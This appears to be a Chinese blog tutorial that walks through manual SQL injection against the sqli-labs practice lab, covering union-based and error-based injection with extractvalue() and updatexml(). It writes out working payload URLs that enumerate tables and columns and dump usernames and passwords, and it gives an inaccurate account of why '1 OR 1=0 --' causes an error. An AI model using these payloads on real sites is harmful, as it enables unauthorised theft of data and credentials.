渗透测试----手把手教你SQL手工注入--(联合查询,报错注入)

拓展:进行报错注入所需要的数据库前置知识---MYSQL数据库结构

初始化安装MySQL(版本需要在5.0以上),会默认创建4个系统数据库:

渗透测试----手把手教你SQL手工注入--(联合查询,报错注入)_第1张图片

其中我们需要特别关注information_schema这个库

渗透测试----手把手教你SQL手工注入--(联合查询,报错注入)_第2张图片

在利用"报错函数"进行报错注入时,我们的主要目标就是上图中出现的表

数据库常用系统函数

数据库常见函数
system_user() 系统用户名

user()

用户名
current_user() 当前用户名
session_user() 连接数据库的用户名
database() 数据库名
version() MySQL数据库版本
load_file() 加载本地文件系统上的文件内容,并将其作为字符串值插入到数据库中。
@@datadir 读取数据库路径
@@basedir MySQL安装路径
@@version_compile_os

读取当前操作系统

   

循序渐进---联合查询注入

联合查询注入需要用到UNION操作符---UNION 操作符用于连接两个以上的 SELECT 语句的结果并将其组合到一个结果集中。前提是两个select必须有相同列。那么如何判断列数呢?

首先,我们要判断注入点的列数,使用order by;

如图:当order by字段数为3时,页面正常,字段数为4时,页面报错。说明前一个查询语句的结果集有3

渗透测试----手把手教你SQL手工注入--(联合查询,报错注入)_第3张图片

接着在通过查询数据表中不存在的数据,从而执行后面的union语句,获取显示位

这样就会执行后边的"union select 1,2, 3"

渗透测试----手把手教你SQL手工注入--(联合查询,报错注入)_第4张图片

据此可以判断Your Login name 和 Your Password 分别在结果集中的第2列和第3列

那么就可借此在对应的位置插入我们想要执行的代码

渗透测试----手把手教你SQL手工注入--(联合查询,报错注入)_第5张图片

结果如下,我们在原本显示的位置输出了我们想要的内容:

渗透测试----手把手教你SQL手工注入--(联合查询,报错注入)_第6张图片

拓展:如何判断查询结果的列数以及显示位

如图,有一张"知识要求占比权重"的表(该表5列6行)

渗透测试----手把手教你SQL手工注入--(联合查询,报错注入)_第7张图片

我们试着使用order by 6(表中只有5列)

结果显示没有第6列,那么就可以采用二分法依次使用order by 3, order by 5....来最终确定表中只有5列.至于显示位,就是在查询的结果集中最终呈现在网页上的内容,如图:

 select * from 知识要求占比权重 where 序号=1;
(注:这段代码视不同的MYSQL版本需要为汉字添加英文单引号)

查询的结果为:

+--------+----------------------------------+--------+--------+--------+
| 序号   | 项目                             | 初级   | 中级   | 高级   |
+--------+----------------------------------+--------+--------+--------+
|      1 | 网络安全职业素质(道德)           |      5 |      5 |      5 |
+--------+----------------------------------+--------+--------+--------+
1 row in set (0.02 sec)

最终呈现在网页上的就可能为:

您查询的项目为 网络安全职业素质(道德)
中级对应的占比(%) 5

那么这里的显示位就是第2列和第4列;

 select * from 知识要求占比权重 where 序号=1 union select 1,2,3,4,5;

+--------+----------------------------------+--------+--------+--------+
| 序号   | 项目                             | 初级   | 中级   | 高级   |
+--------+----------------------------------+--------+--------+--------+
|      1 | 网络安全职业素质(道德)           |      5 |      5 |      5 |
|      1 | 2                                |      3 |      4 |      5 |
+--------+----------------------------------+--------+--------+--------+
2 rows in set (0.02 sec)
拓展:让sqli靶场显示出对应的查询语句

如图:

文件路径为\WWW\sqli-labs-master\Less-1\index.php

渗透测试----手把手教你SQL手工注入--(联合查询,报错注入)_第8张图片

效果如图,这样我们在学习时会更方便一些: 

注意,对应关卡修改对应文件

渗透测试----手把手教你SQL手工注入--(联合查询,报错注入)_第9张图片

联合查询--获取数据库名

通过之前的一通操作,我们已经得知了数据的显示位,也就是数据库的查询结果最终显示在网络页面上的内容,那么接下来我们要做的就是找出查询结果的数据库名----

正常的查询:

192.168.xx.xx/sqli-labs-master/Less-1/?id=2

渗透测试----手把手教你SQL手工注入--(联合查询,报错注入)_第10张图片

借助联合注入获取数据库名 security:

http://192.168.xx.xx/sqli-labs-master/Less-1/?id=-1' union select 1,2,database() --+

渗透测试----手把手教你SQL手工注入--(联合查询,报错注入)_第11张图片

联合查询--获取表名

再借助 information_schema 数据库和 查询得知的 security 数据库来获取表名为:

http://192.168.xx.xx/sqli-labs-master/Less-1/?id=-1'
union select 1,2,table_name from information_schema.tables where table_schema='security'--+

渗透测试----手把手教你SQL手工注入--(联合查询,报错注入)_第12张图片

那么能否查询 security 这个数据库中包含的所有表呢? 我们可以借助 group_concat(),  这个函数用于将多个行的值连接成一个字符串。它是 MySQL 对 GROUP BY 子句的一个扩展,使其能够执行比单纯分组更复杂的操作:

http://192.168.xx.xx/sqli-labs-master/Less-1/?id=-1'
union select 1,2,group_concat(table_name) from information_schema.tables 
where table_schema='security'--+

渗透测试----手把手教你SQL手工注入--(联合查询,报错注入)_第13张图片

联合查询---获取字段名(列名)

知道了数据库名和表名,基本上我们就定位到了所需数据的位置,依旧是借助 information_schema:

我们这里查询的是 users 表:

http://192.168.xx.xx/sqli-labs-master/Less-1/?id=-1'
union select 1,2,group_concat(column_name) 
from information_schema.columns 
where table_schema='security' and table_name='users'--+

渗透测试----手把手教你SQL手工注入--(联合查询,报错注入)_第14张图片

联合查询---获取具体数据

得知在 users 表中的字段名有 username,password,那么借助 group_concat 就可以获得所有的用户名及密码:

http://192.168.xx.xx/sqli-labs-master/Less-1/?id=-1'
union select 1,group_concat(username),group_concat(password) from security.users --+

但是这样的查询结果有些凌乱,可以把用户名和密码用特殊符号连接在一起:

http://192.168.xx.xx/sqli-labs-master/Less-1/?id=-1'
union select 1,(select group_concat(username,'~',password) from security.users),3 --+

渗透测试----手把手教你SQL手工注入--(联合查询,报错注入)_第15张图片

这样就简洁明了多了~~~

总的来说,联合查询的思路就是:数据库=>=>字段=>数据

目录

拓展:进行报错注入所需要的数据库前置知识---MYSQL数据库结构

数据库常用系统函数

循序渐进---联合查询注入

拓展:如何判断查询结果的列数以及显示位

拓展:让sqli靶场显示出对应的查询语句

联合查询--获取数据库名

联合查询--获取表名

联合查询---获取字段名(列名)

联合查询---获取具体数据

无中生有---报错注入

拓展:什么是sqli-labs-master?

拓展:强横无比的BP

报错函数---extravalue(),updatexml()

利用报错函数注出数据库名、用户/密码

报错注入--获取数据库名

报错注入--获取表名

报错注入--获取字段名

报错注入--获取具体数据

总结: 


Bypass-渗透测试---手把手教你SQL注入---Bypass姿势(如何绕过过滤措施?)icon-default.png?t=N7T8http://t.csdnimg.cn/BicwG

无中生有---报错注入

报错注入是一种特殊的SQL注入攻击方式,它利用了应用程序对异常处理的不完善,通过在输入的SQL语句中插入恶意的SQL语句,达到获取未授权数据的目的。

在报错注入中,我们可以通过在输入的数据中插入SQL语句的异常字符,使得应用程序抛出异常,从而获取应用程序的错误信息。这些错误信息可能包含了应用程序的敏感数据,如数据库表结构、列名、存储过程等。

例如,假设一个应用程序的登录页面中存在一个SQL注入漏洞。我们可以在用户名或密码中输入以下内容:

1 OR 1=0 --

这个输入会被应用程序解释为一个SQL语句,其中OR 1=0表示逻辑或运算,由于后面的条件不满足,所以整个SQL语句将返回一个错误。同时,"--"是MySQL中的注释符号,它会导致后续的语句被注释掉,使得应用程序执行剩下的语句。

当应用程序抛出异常时,会输出错误信息,其中可能包含了数据库表结构和列名的信息。攻击者可以将这些信息记录下来,并构造更加复杂的SQL注入攻击语句,进一步获取更多的数据。

因此,报错注入是一种非常危险的SQL注入攻击方式,它利用了应用程序对异常处理的不完善,获取了应用程序的敏感数据,从而危害了系统的安全。所以,我们应该加强应用程序的异常处理和输入验证机制,提高应用程序的安全性。

当然,在实战中仅仅使用"1 OR 1=0 --",有些过于简单,我们可以利用数据库语言中特有的一些"报错函数"来达成我们的目的,例如ExtractValue(), updatexml()

以下借助sqli-labs-master和BurpSuite来演示这两个函数在SQL报错注入中的运用:

拓展:什么是sqli-labs-master?

注意,PHP的版本应当为5

sqli-labs-master是一款SQL注入漏洞实验平台,
可以帮助用户学习和理解SQL注入漏洞的原理、检测和利用方法,
提高网络安全意识和技能。

sqli-labs-master提供了多个等级的SQL注入实验题目,
每个题目都提供了详细的说明和目标网址,用户需要通过操作注入点,
构造恶意的SQL语句,获取目标数据库中的数据,完成题目要求的目标。

sqli-labs-master还提供了答案查看功能,
用户可以查看其他用户提交的答案,了解其他用户是如何利用SQL注入漏洞
获取数据的,并通过对比自己的答案,加深对SQL注入漏洞利用方法的理解。

总之,sqli-labs-master是一款非常实用的SQL注入漏洞实验平台,
可以帮助用户提高网络安全技能和意识。
拓展:强横无比的BP

Burp Suite是一款用于攻击web应用程序的集成平台,它包含了许多工具,可以加快攻击应用程序的过程。

Burp Suite主要包括以下模块和功能:

  • Target:显示目标站点目录结构。
  • Proxy:是一个拦截HTTP/S的代理服务器,作为一个在浏览器和目标应用程序之间的中间人,允许你拦截、查看、修改在两个方向上的原始数据流。
  • Spider:是一个应用智能感应的网络爬虫,它能完整的枚举应用程序的内容和功能。
  • Scanner:是一个高级工具,执行后,它能自动地发现web应用程序的安全漏洞。
  • Intruder:是一个定制的高度可配置的工具,对web应用程序进行自动化攻击,如:枚举标识符,收集有用的数据,以及使用fuzzing技术探测常规漏洞。
  • Repeater:是一个靠手动操作来触发单独的HTTP请求,并分析应用程序响应的工具。
  • Decoder:是一个进行手动执行或对应用程序数据者智能解码编码的工具。

报错函数---extravalue(),updatexml()

       mysql5.1.5版本中添加了extractvalue()、updatexml()函数,它们两个分别能够对XML文档进行查询、修改操作。

SQL报错注入的应用:当使用extractvalue(xml_frag, xpath_expr)函数时,若xpath_expr参数不符合xpath格式,就会报错。而~符号(ascii编码值:0x7e)在xpath格式中是不存在的, 所以一旦在xpath_expr参数出现~符号,就会产生xpath syntax error (xpath语法错误),通过使用这个方法就可以达到报错注入的目的。

extravalue(1,要执行的SQL语句)
updatexml(1,要执行的SQL语句,1)
SQL语句中需要包含0x7e

注意:在BurpSuite中,URL中的空格要用"+"代替(在POST表单中不需要)

在BurpSuite中,对URL作如下修改
GET /sqli-labs-master/Less-1/?id=1'
+and+extractvalue(1,concat(0x7e,(select+user()),0x7e))+--+ 
或者
GET /sqli-labs-master/Less-1/?id=1'
+and+updatexml(1,concat(0x7e,(select+user()),0x7e),1)+--+

concat()函数用于将多个字符串连接起来,形成一个单一的字符串

响应的结果如下:

渗透测试----手把手教你SQL手工注入--(联合查询,报错注入)_第16张图片

利用报错函数注出数据库名、用户/密码

需要注意的是以上两个报错函数对输出的字符长度做了限制,其最长输出32位并且该语句对payload的返回类型也做了限制,只有在payload返回的不是xml格式才会生效为此我们可能需要借助limit语句

LIMIT语句可以有两个参数,也可以有一个参数。当使用两个参数时,第一个参数指定偏移量(从结果集中的哪一行开始返回),第二个参数指定要返回的行数。当只有一个参数时,该参数指定要返回的行数。LIMIT语句的索引从0开始

报错注入--获取数据库名

GET /sqli-labs-master/Less-1/?id=1'
+and+updatexml(1,concat(0x7e,(select+database()),0x7e),1)+--+

渗透测试----手把手教你SQL手工注入--(联合查询,报错注入)_第17张图片

报错注入--获取表名

GET /sqli-labs-master/Less-1/?id=1'
 and updatexml(1,concat(0x7e,
(select group_concat(table_name) from information_schema.tables
 where table_schema='security'),0x7e),1) --+ HTTP/1.1

渗透测试----手把手教你SQL手工注入--(联合查询,报错注入)_第18张图片

这里返回的语句没有超过32位字符,以防万一,我们加上 limit :

GET /sqli-labs-master/Less-1/?id=1'
and updatexml(1,concat(0x7e,
(select table_name from information_schema.tables
where table_schema='security' limit 0,1),0x7e),1) --+ HTTP/1.1

渗透测试----手把手教你SQL手工注入--(联合查询,报错注入)_第19张图片

之后依次使用"limit 1,1" "limit 2,1"......依次遍历出其他的表名(当然如果数据过多的话我们就需要借助BurpSuite 的爆破功能)

报错注入--获取字段名

GET /sqli-labs-master/Less-1/?id=1'+and+updatexml(1,concat(0x7e,
(select+group_concat(column_name)
+from+information_schema.columns
+where+table_schema='security'+and+table_name='users'),0x7e),1)+--+ HTTP/1.1

渗透测试----手把手教你SQL手工注入--(联合查询,报错注入)_第20张图片

报错注入--获取具体数据

/sqli-labs-master/Less-1/?id=1' 
and updatexml(1,concat(0x7e,
(select group_concat(username,'~',password) from users)),1) --+

渗透测试----手把手教你SQL手工注入--(联合查询,报错注入)_第21张图片

发现数据缺失了一部分,这里就需要使用limit 语句

/sqli-labs-master/Less-1/?id=1' and updatexml(1,concat(0x7e,
(select concat(username,'~',password) from users limit 0,1)),1) --+
这里没有使用group_concat(),因为它会把所有结果合并为一个,这里应当使用concat()

总结:

根据页面回显情况使用合适的注入方式

联合注入 页面有显示位
报错注入

页面有SQL报错内容的回显

 本系列的后续文章链接:

渗透测试---手把手教你SQL注入(2)---盲注icon-default.png?t=N7T8http://t.csdnimg.cn/f28Rc

渗透测试---手把手教你SQL注入(3)---UA头注入与referer注入icon-default.png?t=N7T8http://t.csdnimg.cn/0qQub

你可能感兴趣的:(#,渗透测试从入门到入土,sql,数据库,网络安全,安全,网络攻击模型,计算机网络,后端)